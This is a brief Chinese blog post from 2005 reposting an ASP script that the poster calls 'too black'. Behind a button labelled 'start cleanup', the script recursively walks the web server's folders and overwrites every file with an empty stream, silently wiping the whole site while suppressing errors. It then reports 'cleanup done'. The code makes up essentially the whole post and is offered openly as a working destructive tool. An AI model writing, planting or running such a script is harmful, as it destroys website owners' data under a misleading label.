转一个无聊的东东,太黑了。

      网页类学习笔记 2005-9-26 1:13
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
标签集:TAGS:
回复Comments() 点击Count()

回复Comments

{commentauthor}
{commentauthor}
{commenttime}
{commentnum}
{commentcontent}
作者:
{commentrecontent}